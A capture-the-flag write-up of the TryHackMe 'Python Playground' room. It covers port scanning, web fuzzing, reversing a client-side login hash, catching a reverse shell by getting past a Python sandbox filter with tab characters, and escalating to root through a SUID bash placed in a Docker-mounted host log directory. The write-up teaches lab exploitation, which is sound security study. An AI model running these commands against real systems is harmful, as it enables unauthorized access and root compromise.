10 minute read

pythonp

Python Playground is a hard rated room in TryHackMe by deltatemporal. Client Side login validation gives us a hidden file on the webserver which had a web python shell for executing python commands along with a username and a hash. Partial blacklisting of the potential harmful characters on the python shell gives us a shell on a docker container in which a directory from a host device is mounted. Reversing the login logic implemented on client side gives us a credential which we use to get a shell on a host box and finally the root was obtained using the mounted log directory inside the docker container.

As this a hard room, I won’t be focusing too much on the basics. If you are just starting out on cybersecurity, I suggest you to solve the easier and medium rated rooms on tryhackme platform first. If you have any confusion regarding the writeup or have any kind of suggestion or feedback, reach me out on twitter.

Port Scan

Allport

local@local:~/Documents/tryhackme/python_playground$ nmap -p- --min-rate 10000 -oN nmap/allports -v 10.10.185.134
Nmap scan report for 10.10.185.134
Host is up (0.38s latency).
Not shown: 63172 closed ports, 2361 filtered ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Detail Scan

local@local:~/Documents/tryhackme/python_playground$ nmap -sC -sV -p22,80 -oN nmap/detail 10.10.185.134
Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-11 07:37 +0545
Nmap scan report for 10.10.185.134
Host is up (0.37s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 f4:af:2f:f0:42:8a:b5:66:61:3e:73:d8:0d:2e:1c:7f (RSA)
|   256 36:f0:f3:aa:6b:e3:b9:21:c8:88:bd:8d:1c:aa:e2:cd (ECDSA)
|_  256 54:7e:3f:a9:17:da:63:f2:a2:ee:5c:60:7d:29:12:55 (ED25519)
80/tcp open  http    Node.js Express framework
|_http-title: Python Playground!
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.60 seconds

Port 80

1

Clicking on the login or signup pages, opens up a new page showing that this feature has been disabled. 2

Directory Bruteforcing using wfuzz for html files

local@local:~/Documents/tryhackme/python_playground$ wfuzz -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -c --hc 404 -t 50 http://10.10.43.69/FUZZ.html | tee wfuzz/root-html.log
********************************************************
* Wfuzz 3.0.3 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.43.69/FUZZ.html
Total requests: 220547

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                                                        
===================================================================

000000002:   200        29 L     85 W     941 Ch      "index"                                                                                                        
000000040:   200        18 L     51 W     549 Ch      "login"                                                                                                        
000000204:   200        18 L     51 W     549 Ch      "signup"                                                                                                       
000000246:   200        117 L    244 W    3134 Ch     "admin"   

We get a new page. ie admin.html

Visiting /admin.html

3

Trying to login with admin:admin

4 The moment I hit the log in button, I got a message very quick saying Access Denied as if the request was never made to the back end server. So, I checked the source if there was any javascript in which the login process is implemented and it turned out there was.

Implementation of login on js

   <script>
      // I suck at server side code, luckily I know how to make things secure without it - Connor

      function string_to_int_array(str){
        const intArr = [];

        for(let i=0;i<str.length;i++){
          const charcode = str.charCodeAt(i);

          const partA = Math.floor(charcode / 26);
          const partB = charcode % 26;

          intArr.push(partA);
          intArr.push(partB);
        }

        return intArr;
      }

      function int_array_to_text(int_array){
        let txt = '';

        for(let i=0;i<int_array.length;i++){
          txt += String.fromCharCode(97 + int_array[i]);
        }

        return txt;
      }

      document.forms[0].onsubmit = function (e){
          e.preventDefault();

          if(document.getElementById('username').value !== 'connor'){
            document.getElementById('fail').style.display = '';
            return false;
          }

          const chosenPass = document.getElementById('inputPassword').value;

          const hash = int_array_to_text(string_to_int_array(int_array_to_text(string_to_int_array(chosenPass))));

          if(hash === 'dxeedxebdwe*************duerdvdtdvdu'){
            window.location = 'super-secret*************panel.html';
          }else {
            document.getElementById('fail').style.display = '';
          }
          return false;
      }
  </script>

From this code, we get a secret path as well as a username and a hash.

  path:super-secret*************panel.html
  username:connor
  hash:dxeedxebdwe*************duerdvdtdvdu

Visiting super-secret*****panel.html

5 Here we have a place where we can execute python commands.So, lets try and get a python reverse shell.

Listening on our box

local@local:~/Documents/tryhackme/python_playground$ nc -nvlp 9001
Listening on 0.0.0.0 9001

Executing the payload

6 Looks like there is some firewall implemented to limit the things we can do on this web python shell.

Looking at the source of the page

    <script>
        // Let the tab key work :)

        var textareas = document.getElementsByTagName('textarea');
        var count = textareas.length;
        for(var i=0;i<count;i++){
            textareas[i].onkeydown = function(e){
                if(e.keyCode==9 || e.which==9){
                    e.preventDefault();
                    var s = this.selectionStart;
                    this.value = this.value.substring(0,this.selectionStart) + "\t" + this.value.substring(this.selectionEnd);
                    this.selectionEnd = s+1; 
                }
            }
        }
    </script>

There is a comment which says it is okay to use tab key, which means the space key might have triggered the firewall. So, I tried to import the modules using tab instead of space.

7 And this time the response was not obtained on the browser which is a good sign and if we check the netcat listener, we get a shell.

local@local:~/Documents/tryhackme/python_playground$ nc -nvlp 9001
Listening on 0.0.0.0 9001
Connection received on 10.10.185.134 39688
/bin/sh: 0: can't access tty; job control turned off
# 

Now this shell is a bit hard to work with as it is not interactive. It lacks using arrow keys, autocompletion, and using keys like CTRL+C to kill a process. So We have to make this session a interactive session.

Getting a proper TTY

Now lets get a proper shell with auto completion.

# python3 -c "import pty;pty.spawn('/bin/bash')"

Hit CRTL+z to background the current process and on local box type

local@local:~/Documents/tryhackme/python_playground$ stty raw -echo

and type fg and hit enter twice and on the reverse shell export the TERM as xterm.

root@playgroundweb:~/app#  export TERM=xterm

Now we have a proper shell.

Checking the privileges

root@playgroundweb:~/app# id
uid=0(root) gid=0(root) groups=0(root)
root@playgroundweb:~/app# ls -la /
total 60
drwxr-xr-x   1 root root 4096 May 16 06:06 .
drwxr-xr-x   1 root root 4096 May 16 06:06 ..
-rwxr-xr-x   1 root root    0 May 16 06:06 .dockerenv
lrwxrwxrwx   1 root root    7 Apr 23  2020 bin -> usr/bin
drwxr-xr-x   2 root root 4096 Apr 15  2020 boot
drwxr-xr-x   5 root root  340 Nov 11 01:47 dev
drwxr-xr-x   1 root root 4096 May 16 06:06 etc
drwxr-xr-x   2 root root 4096 Apr 15  2020 home
lrwxrwxrwx   1 root root    7 Apr 23  2020 lib -> usr/lib
lrwxrwxrwx   1 root root    9 Apr 23  2020 lib32 -> usr/lib32
lrwxrwxrwx   1 root root    9 Apr 23  2020 lib64 -> usr/lib64
lrwxrwxrwx   1 root root   10 Apr 23  2020 libx32 -> usr/libx32
drwxr-xr-x   2 root root 4096 Apr 23  2020 media
drwxr-xr-x   1 root root 4096 May 16 06:06 mnt
drwxr-xr-x   2 root root 4096 Apr 23  2020 opt
dr-xr-xr-x 101 root root    0 Nov 11 01:47 proc
drwx------   1 root root 4096 May 16 06:04 root
drwxr-xr-x   1 root root 4096 Apr 24  2020 run
lrwxrwxrwx   1 root root    8 Apr 23  2020 sbin -> usr/sbin
drwxr-xr-x   2 root root 4096 Apr 23  2020 srv
dr-xr-xr-x  13 root root    0 Nov 11 01:47 sys
drwxrwxrwt   1 root root 4096 May 16 06:04 tmp
drwxr-xr-x   1 root root 4096 Apr 23  2020 usr
drwxr-xr-x   1 root root 4096 Apr 23  2020 var

We are running as root but inside the docker container. Now, we have to find a way to get a shell on the host device.

Reading 1st flag

root@playgroundweb:~# ls
app  flag1.txt
root@playgroundweb:~# cat flag1.txt 
THM{7e0b5c*************6f2f}

Enumerating the docker container

While I was looking around, I found something interesting on the /mnt.

root@playgroundweb:~# ls -la /mnt
total 12
drwxr-xr-x 1 root root 4096 May 16 06:06 .
drwxr-xr-x 1 root root 4096 May 16 06:06 ..
drwxrwxr-x 9 root  106 4096 May 11  2020 log

A directory is mounted inside the /mnt folder.

Content of log folder

oot@playgroundweb:~# ls -la /mnt/log/
total 3900
drwxrwxr-x  9 root        106    4096 May 11  2020 .
drwxr-xr-x  1 root root          4096 May 16 06:06 ..
-rw-r--r--  1 root root         27163 May 11  2020 alternatives.log
drwxr-xr-x  2 root root          4096 May 16 02:40 apt
-rw-r-----  1  102 adm          39166 Nov 11 02:17 auth.log
-rw-r--r--  1 root root         56751 Feb  3  2020 bootstrap.log
-rw-rw----  1 root utmp          1920 May 12  2020 btmp
-rw-r--r--  1 root root         40872 Nov 11 01:48 cloud-init-output.log
-rw-r--r--  1  102 adm         896741 Nov 11 01:48 cloud-init.log
drwxr-xr-x  2 root root          4096 Jan 24  2020 dist-upgrade
-rw-r--r--  1 root root        508605 May 16 02:40 dpkg.log
-rw-r--r--  1 root root         32032 May 11  2020 faillog
drwxr-xr-x  3 root root          4096 May 11  2020 installer
drwxr-sr-x+ 3 root messagebus    4096 May 11  2020 journal
-rw-r-----  1  102 adm         810586 Nov 11 01:47 kern.log
drwxr-xr-x  2  108        112    4096 May 11  2020 landscape
-rw-rw-r--  1 root utmp        292292 May 16 06:01 lastlog
drwxr-xr-x  2 root root          4096 Nov 23  2018 lxd
-rw-r-----  1  102 adm        1461048 Nov 11 02:17 syslog
-rw-------  1 root root         64064 May 11  2020 tallylog
drwxr-x---  2 root adm           4096 May 11  2020 unattended-upgrades
-rw-rw-r--  1 root utmp         47232 Nov 11 01:47 wtmp

Looking at the contents, it seems like the log directory from the host device is mounted inside the docker container. Now, we can exploit this to become root on the host device, if we have a shell on the host device. Looking back we do have a username and a hash which could be a potential SSH username and password. So lets reverse the code written on js.

Getting the password from the hash

For this I wrote a python script. At first I implemented the same thing that was implemented with js and I wrote the function that did exact opposite.

#!/usr/bin/python
import math

#  int to text 
def int_array_to_text(arr):
    txt = ''
    for i in range(0,len(arr)):
        txt += (chr(arr[i] + 97))
    return txt

# String to array implementation
def string_to_int_array(text):
    tmp = []
    for i in text:
        charcode = ord(i)
        part_a = math.floor(charcode/26)
        part_b = charcode % 26
        tmp.append(part_a)
        tmp.append(part_b)
    return tmp


# array_to_string
def array_to_string(arr):
    txt = ''
    length = int(len(arr))
    for i in range(0,length,2):
        txt += (chr(arr[i]*26+arr[i+1]))
    return txt


# text to array
def text_to_array(txt):
    tmp = []
    for i in txt:
        tmp.append(ord(i) - 97)
    return(tmp)

print(array_to_string(text_to_array(array_to_string(text_to_array('dxeedxebdwe*************duerdvdtdvdu')))))

Running the script

local@local:~/Documents/tryhackme/python_playground/http$ python test.py 
<redacted>

Trying to login using SSH

local@local:~/Documents/tryhackme/python_playground/http$ ssh connor@10.10.185.134
The authenticity of host '10.10.185.134 (10.10.185.134)' can't be established.
ECDSA key fingerprint is SHA256:iHACigIGKJ5qdSmZQCHOkipvHuMwNMkxrfuf3dhq70Y.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.185.134' (ECDSA) to the list of known hosts.
connor@10.10.185.134's password: 
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-99-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed Nov 11 02:22:35 UTC 2020

  System load:  0.0               Processes:              95
  Usage of /:   49.4% of 9.78GB   Users logged in:        0
  Memory usage: 48%               IP address for eth0:    10.10.185.134
  Swap usage:   0%                IP address for docker0: 172.17.0.1


32 packages can be updated.
0 updates are security updates.


Last login: Sat May 16 06:01:55 2020 from 10.0.2.2
connor@pythonplayground:~$

And we login successfully as user connor.

Reading second flag

connor@pythonplayground:~$ ls
flag2.txt
connor@pythonplayground:~$ cat flag2.txt 
THM{69a3*************e691ec5}

Privilege Escalation

Steps involved

  • On container, create a folder inside the log directory to check if the changes is reflected on the host device
  • On host, copy the bash binary from /bin to the newly created directory.
  • On container, set the SUID bit on that bash binary
  • On host, execute it and get a root shell

Creating a new directory inside log from docker container

root@playgroundweb:~# cd /mnt/log/
root@playgroundweb:/mnt/log# mkdir test-dir
root@playgroundweb:/mnt/log# chmod 777 test-dir/
root@playgroundweb:/mnt/log# ls -la test-dir/
total 8
drwxrwxrwx  2 root root 4096 Nov 11 02:25 .
drwxrwxr-x 10 root  106 4096 Nov 11 02:25 ..

Checking the changes from host device

connor@pythonplayground:~$ cd /var/log
connor@pythonplayground:/var/log$ ls -la test-dir/
total 8
drwxrwxrwx  2 root root   4096 Nov 11 02:25 .
drwxrwxr-x 10 root syslog 4096 Nov 11 02:25 ..

And it exists. Nice!!

Copying the /bin/bash binary inside newly created dir

connor@pythonplayground:/var/log$ cd test-dir/
connor@pythonplayground:/var/log/test-dir$ cp /bin/bash bash
connor@pythonplayground:/var/log/test-dir$ ls -la
total 1096
drwxrwxrwx  2 root   root      4096 Nov 11 02:27 .
drwxrwxr-x 10 root   syslog    4096 Nov 11 02:25 ..
-rwxr-xr-x  1 connor connor 1113504 Nov 11 02:27 bash

Changing the permissions from docker container

root@playgroundweb:/mnt/log/test-dir# chown root:root bash
root@playgroundweb:/mnt/log/test-dir# chmod 4755 bash 

Getting a root shell on the host

connor@pythonplayground:/var/log/test-dir$ ls -la
total 1096
drwxrwxrwx  2 root root      4096 Nov 11 02:27 .
drwxrwxr-x 10 root syslog    4096 Nov 11 02:25 ..
-rwsr-xr-x  1 root root   1113504 Nov 11 02:27 bash
connor@pythonplayground:/var/log/test-dir$ ./bash -p
bash-4.4# id
uid=1000(connor) gid=1000(connor) euid=0(root) groups=1000(connor)
bash-4.4# 

Reading the final flag

bash-4.4# cd /root
bash-4.4# ls
flag3.txt
bash-4.4# cat flag3.txt 
THM{be3adc69*************925ad1}